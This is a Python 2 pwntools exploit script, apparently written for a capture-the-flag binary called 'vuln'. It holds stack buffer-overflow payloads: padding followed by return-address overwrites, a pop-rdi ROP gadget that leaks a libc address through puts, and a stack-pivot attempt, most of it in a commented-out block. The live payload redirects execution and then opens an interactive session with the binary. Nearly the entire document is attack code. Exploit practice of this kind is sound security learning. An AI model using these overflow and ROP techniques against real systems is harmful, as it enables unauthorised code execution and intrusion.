#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./vuln_newoverflow
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./vuln')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x4007e7
#0x{exe.symbols.main:x}
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
GAD_POP_RDI = 0x4008c3 #: pop rdi; ret;



io = start()
io.recvuntil("Can you match these numbers?")


"""
payload = "A"*64
payload += p64(0x601400) #BSS
payload += p64(GAD_POP_RDI)
payload += p64(0x601018) #BSS
payload += p64(0x40083b) #puts
io.sendline(payload)

io.recvline()
leak = io.recvline()[:-1] + "\x00\x00"
print len(leak)
for i in leak:
   print i
print "LEAK ---> ", hex(u64(leak))

payload = "A"*64
payload += p64(0x602000-0x100) #BSS
payload += p64(0x4007d4) # Stack pivot
io.sendline(payload)

payload = "A"*64
payload += p64(0x602000) #BSS
payload += p64(0x40076b) # print
io.sendline(payload)
"""
#payload = cyclic(1000)
payload = "A"*64
payload += p64(0x601900) #BSS
#payload += p64(0x400767)
payload += p64(0x400851)
io.sendline(payload)

# shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)

io.interactive()

